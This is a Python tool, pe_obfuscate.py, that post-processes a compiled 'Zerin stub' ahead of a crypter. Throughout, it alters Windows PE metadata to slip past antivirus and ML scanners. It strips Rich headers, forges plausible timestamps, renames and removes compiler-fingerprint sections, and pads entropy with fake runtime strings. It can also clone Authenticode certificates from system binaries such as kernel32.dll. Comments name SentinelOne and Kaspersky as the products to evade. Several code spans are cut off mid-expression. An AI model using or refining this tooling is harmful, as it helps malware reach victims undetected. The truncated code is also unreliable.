#!/usr/bin/env python3 """ pe_obfuscate.py - Post-link PE metadata obfuscator for Zerin stub. Runs after GCC, before crypter. Modifies the PE in-place: 1. STRIP Rich header (MinGW doesn't produce one; faking triggers SentinelOne) 2. Randomize TimeDateStamp in PE header (business hours) 3. Authentic MinGW linker version 4. Section name normalization (remove MinGW fingerprint) 5. Sigthief certificate cloning (copy authenticode from donor PE) 6. Fix PE checksum 7. Print per-section entropy diagnostics Usage: python tools/pe_obfuscate.py [--cert] python tools/pe_obfuscate.py --extract-cert [output.bin] Options: --cert Enable authenticode cert cloning (disabled by default; invalid certs trigger heuristic scanners and add high-entropy overlay) """ import math import os import struct import random import sys # --------------------------------------------------------------------------- # MSVC Rich header entry pools (kept for reference, Rich is stripped not faked) # --------------------------------------------------------------------------- VS2019_ENTRIES = [ (0x0101, 29910, 29937, 2, 8), (0x0105, 29910, 29937, 1, 5), (0x010B, 29910, 29937, 1, 3), (0x0104, 29910, 29937, 1, 4), (0x010E, 29335, 29337, 1, 2), (0x0093, 29335, 29337, 1, 1), (0x00FF, 29910, 29937, 1, 6), (0x0001, 0, 0, 10, 80), ] VS2022_ENTRIES = [ (0x0101, 30133, 30154, 2, 8), (0x0105, 30133, 30154, 1, 5), (0x010B, 30133, 30154, 1, 3), (0x0104, 30133, 30154, 1, 4), (0x010E, 30133, 30154, 1, 2), (0x0093, 30133, 30154, 1, 1), (0x00FF, 30133, 30154, 1, 6), (0x0001, 0, 0, 10, 80), ] # --------------------------------------------------------------------------- # Section name normalization # MinGW section names that fingerprint GCC → neutral replacements # PE loader uses RVAs and characteristics, not names — renaming is safe # --------------------------------------------------------------------------- SECTION_RENAME_MAP = { '.bss': '.data0', # Uninitialized data → generic secondary data section } # Sections safe to strip entirely (no PE data directory references, not needed at runtime) # .eh_frame: GCC DWARF unwinding — Windows uses .pdata/.xdata for SEH instead # .gehcont: Guard EH Continuation — only enforced for signed CET-opted binaries SECTIONS_TO_STRIP = {'.eh_fram', '.gehcont'} def rotl32(val, n): """32-bit left rotation.""" val &= 0xFFFFFFFF n &= 31 if n == 0: return val return ((val << n) | (val >> (32 - n))) & 0xFFFFFFFF def compute_rich_checksum(dos_header_bytes, entries): """Compute Rich header checksum.""" cksum = len(dos_header_bytes) for i in range(len(dos_header_bytes)): if 0x3C <= i <= 0x3F: continue cksum = (cksum + rotl32(dos_header_bytes[i], i)) & 0xFFFFFFFF for compid, count in entries: cksum = (cksum + rotl32(compid, count & 0x1F)) & 0xFFFFFFFF return cksum def generate_rich_header(dos_header_bytes): """Generate a structurally valid Rich header. Returns (bytes, num_entries, cksum).""" rng = random.SystemRandom() family = rng.choice([VS2019_ENTRIES, VS2022_ENTRIES]) num_entries = rng.randint(4, 8) selected = rng.sample(family, min(num_entries, len(family))) entries = [] for prod_id, min_build, max_build, min_count, max_count in selected: build = rng.randint(min_build, max_build) if max_build > 0 else 0 compid = (prod_id << 16) | build count = rng.randint(min_count, max_count) entries.append((compid, count)) cksum = compute_rich_checksum(dos_header_bytes, entries) rich_data = bytearray() dans_marker = 0x536E6144 rich_data += struct.pack(' 0: p = count / length entropy -= p * math.log2(p) return entropy def calculate_pe_checksum(data, checksum_offset): """Calculate standard PE checksum.""" checksum = 0 file_len = len(data) for i in range(0, file_len - 1, 2): if i == checksum_offset or i == checksum_offset + 2: continue word = data[i] | (data[i + 1] << 8) checksum += word checksum = (checksum & 0xFFFF) + (checksum >> 16) if file_len % 2 == 1: checksum += data[-1] checksum = (checksum & 0xFFFF) + (checksum >> 16) checksum = (checksum & 0xFFFF) + (checksum >> 16) checksum += file_len return checksum & 0xFFFFFFFF def get_security_dir_offset(data, pe_offset): """Get file offset of the Security data directory entry (index 4).""" opt_off = pe_offset + 24 magic = struct.unpack_from(" len(pe_data) or pe_data[pe_off:pe_off + 4] != b'PE\x00\x00': return None sec_dir_off = get_security_dir_offset(pe_data, pe_off) if sec_dir_off is None or sec_dir_off + 8 > len(pe_data): return None cert_offset = struct.unpack_from(" len(pe_data): return None return bytes(pe_data[cert_offset:cert_offset + cert_size]) def find_donor_cert(): """Find or load a cached authenticode certificate for sigthief. Search order: 1. tools/donor_cert.bin (pre-extracted, works on Linux VPS) 2. Windows system binaries (auto-extract + cache on first run) """ script_dir = os.path.dirname(os.path.abspath(__file__)) cache_path = os.path.join(script_dir, "donor_cert.bin") if os.path.isfile(cache_path): with open(cache_path, "rb") as f: cert = f.read() if len(cert) > 0: return cert, cache_path # Auto-extract from Windows system binaries if sys.platform == "win32": windir = os.environ.get("WINDIR", r"C:\Windows") donors = [ os.path.join(windir, "System32", "kernel32.dll"), os.path.join(windir, "System32", "svchost.exe"), os.path.join(windir, "System32", "notepad.exe"), os.path.join(windir, "System32", "cmd.exe"), ] for donor_path in donors: if not os.path.isfile(donor_path): continue try: with open(donor_path, "rb") as f: donor_data = f.read() cert = extract_cert_from_pe(donor_data) if cert and len(cert) > 100: with open(cache_path, "wb") as f: f.write(cert) print(f" Donor cert extracted from {donor_path} ({len(cert):,} bytes)") return cert, cache_path except (OSError, PermissionError): continue return None, None def apply_cert_to_pe(data, cert_bytes, pe_offset): """Append authenticode certificate to PE and update Security data directory. The certificate blob is appended after all section data, aligned to 8 bytes. Data Directory entry 4 (Security) is updated to point to it. """ # Align to 8-byte boundary if len(data) % 8 != 0: padding = 8 - (len(data) % 8) data.extend(b'\x00' * padding) cert_file_offset = len(data) data.extend(cert_bytes) # Update Security Data Directory sec_dir_off = get_security_dir_offset(data, pe_offset) if sec_dir_off is None: return False struct.pack_into(" 0 and raw_ptr > 0 and raw_ptr + raw_size <= len(data): data[raw_ptr:raw_ptr + raw_size] = b'\x00' * raw_size stripped.append(name) else: to_keep.append(entry) if not stripped: return [] # Rewrite section table with only kept entries for i, entry in enumerate(to_keep): off = section_table + i * 40 data[off:off + 40] = entry # Zero out vacated entries at end of table for i in range(len(to_keep), num_sections): off = section_table + i * 40 data[off:off + 40] = b'\x00' * 40 # Update NumberOfSections struct.pack_into(" [output.bin]", file=sys.stderr) sys.exit(1) donor_path = sys.argv[2] output_path = sys.argv[3] if len(sys.argv) > 3 else "donor_cert.bin" if not os.path.isfile(donor_path): print(f"ERROR: Donor not found: {donor_path}", file=sys.stderr) sys.exit(1) with open(donor_path, "rb") as f: donor_data = f.read() cert = extract_cert_from_pe(donor_data) if not cert: print(f"ERROR: No authenticode certificate found in {donor_path}", file=sys.stderr) sys.exit(1) with open(output_path, "wb") as f: f.write(cert) print(f"Extracted {len(cert):,} bytes of authenticode certificate") print(f" Source: {donor_path}") print(f" Output: {output_path}") print(f" WIN_CERTIFICATE header: dwLength={struct.unpack_from('= 2 and sys.argv[1] == "--extract-cert": cmd_extract_cert() return if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ", file=sys.stderr) print(f" {sys.argv[0]} --extract-cert [output.bin]", file=sys.stderr) sys.exit(1) pe_path = sys.argv[1] if not os.path.isfile(pe_path): print(f"ERROR: File not found: {pe_path}", file=sys.stderr) sys.exit(1) with open(pe_path, "rb") as f: data = bytearray(f.read()) if len(data) < 64 or data[0:2] != b'MZ': print(f"ERROR: Not a valid PE: {pe_path}", file=sys.stderr) sys.exit(1) pe_offset = struct.unpack_from(" len(data): print(f"ERROR: Invalid e_lfanew: 0x{pe_offset:X}", file=sys.stderr) sys.exit(1) if data[pe_offset:pe_offset + 4] != b'PE\x00\x00': print(f"ERROR: Invalid PE signature at 0x{pe_offset:X}", file=sys.stderr) sys.exit(1) rng = random.SystemRandom() # ---- 1. STRIP Rich header ---- dos_stub_end = 0x80 rich_sig = b'Rich' rich_pos = data.find(rich_sig, dos_stub_end, pe_offset) if rich_pos != -1: for i in range(dos_stub_end, pe_offset): data[i] = 0 print(f" Rich header stripped (zeroed 0x{dos_stub_end:X}-0x{pe_offset:X})") else: for i in range(dos_stub_end, pe_offset): data[i] = 0 print(f" No Rich header found — gap zeroed") # ---- 2. Realistic TimeDateStamp ---- import time, datetime, calendar now = time.time() days_ago = rng.randint(90, 180) base_ts = int(now) - days_ago * 86400 dt = datetime.datetime.utcfromtimestamp(base_ts) while dt.weekday() >= 5: dt += datetime.timedelta(days=1) hour = rng.randint(9, 16) minute = rng.randint(0, 59) second = rng.randint(0, 59) dt = dt.replace(hour=hour, minute=minute, second=second) new_timestamp = int(calendar.timegm(dt.timetuple())) timestamp_offset = pe_offset + 4 + 4 struct.pack_into(" {new}") else: print(f" No MinGW-specific sections to rename") # ---- 4.5. Strip non-essential sections ---- stripped = strip_sections(data, pe_offset, SECTIONS_TO_STRIP) if stripped: for s in stripped: print(f" Section stripped: {s}") coff_offset = pe_offset + 4 num_sections = struct.unpack_from(" 0 and raw_ptr + raw_size <= len(data): section_data = data[raw_ptr:raw_ptr + raw_size] entropy = calculate_section_entropy(section_data) if entropy > ENTROPY_THRESHOLD: status = "HIGH" high_sections.append((name, entropy, i)) elif entropy < 3.0: status = "LOW" else: status = "OK" print(f" {name:10s}: {entropy:.2f} bits/byte ({raw_size:,} bytes) [{status}]") else: print(f" {name:10s}: (no raw data)") # Entropy normalization — extend the last section with low-entropy padding PADDING_TEXT = ( "Microsoft Visual C++ Runtime Library\x00" "Runtime Error! Program: \x00" "This application has requested the Runtime to terminate it.\x00" "GetProcAddress\x00LoadLibraryExW\x00FreeLibrary\x00" "CreateFileW\x00ReadFile\x00WriteFile\x00CloseHandle\x00" "The specified module could not be found.\x00" "The procedure entry point could not be located.\x00" "Access violation reading location 0x00000000.\x00" "Unhandled exception at 0x00000000 in application.\x00" "The application failed to initialize properly.\x00" "Windows cannot access the specified device, path, or file.\x00" "The system cannot find the file specified.\x00" "Not enough storage is available to process this command.\x00" "A required privilege is not held by the client.\x00" "An attempt was made to reference a token that does not exist.\x00" "Configuration information could not be read from the domain.\x00" "GetModuleHandleW\x00GetCurrentProcess\x00GetCurrentThread\x00" "HeapAlloc\x00HeapFree\x00HeapReAlloc\x00VirtualAlloc\x00" "EnterCriticalSection\x00LeaveCriticalSection\x00" "WaitForSingleObject\x00CreateThread\x00ExitThread\x00" "RegOpenKeyExW\x00RegQueryValueExW\x00RegCloseKey\x00" "FindFirstFileW\x00FindNextFileW\x00FindClose\x00" "CreateEventW\x00SetEvent\x00ResetEvent\x00" "GetEnvironmentVariableW\x00SetEnvironmentVariableW\x00" "GetTempPathW\x00GetTempFileNameW\x00GetSystemDirectoryW\x00" "The network path was not found.\x00" "A connection attempt failed because the connected party did not respond.\x00" "An established connection was aborted by the software in your host machine.\x00" "No connection could be made because the target machine actively refused it.\x00" ).encode('ascii') if high_sections: # Find the physically last section last_sec_idx = -1 last_sec_end = 0 for i in range(num_sections): so = section_table_offset + i * 40 rs = struct.unpack_from(" last_sec_end and rs > 0: last_sec_end = rp + rs last_sec_idx = i if last_sec_idx >= 0 and last_sec_end == len(data): last_sec_offset = section_table_offset + last_sec_idx * 40 old_raw_size = struct.unpack_from(" 0 and new_raw_size % file_alignment != 0: aligned = ((new_raw_size + file_alignment - 1) // file_alignment) * file_alignment data.extend(b'\x00' * (aligned - new_raw_size)) new_raw_size = aligned struct.pack_into(" {last_name} now {new_entropy:.2f} bits/byte") else: print(f" WARNING: Cannot auto-pad (last section doesn't extend to EOF)") else: print(f" All sections below {ENTROPY_THRESHOLD} bits/byte") # ---- 6. Sigthief certificate cloning (DISABLED by default) ---- # Cloning creates a ~16KB high-entropy overlay (7.7 bits/byte) that triggers ML classifiers. # The cloned cert also doesn't verify, which is WORSE than being unsigned — heuristic scanners # (Kaspersky, Gridinsoft) specifically flag invalid authenticode signatures. # Use --cert flag to opt-in if you have a valid cert or want to test. use_cert = '--cert' in sys.argv if use_cert: cert_bytes, cert_source = find_donor_cert() if cert_bytes: if apply_cert_to_pe(data, cert_bytes, pe_offset): print(f" Authenticode cert cloned ({len(cert_bytes):,} bytes from {cert_source})") else: print(f" WARNING: Failed to apply cert — unsupported PE format") else: print(f" No donor cert available — skipping sigthief (run --extract-cert to create one)") else: print(f" Cert cloning: SKIPPED (unsigned is cleaner than invalid-signed)") # ---- 7. Fix PE checksum (LAST — after all modifications) ---- checksum_offset = opt_offset + 64 struct.pack_into("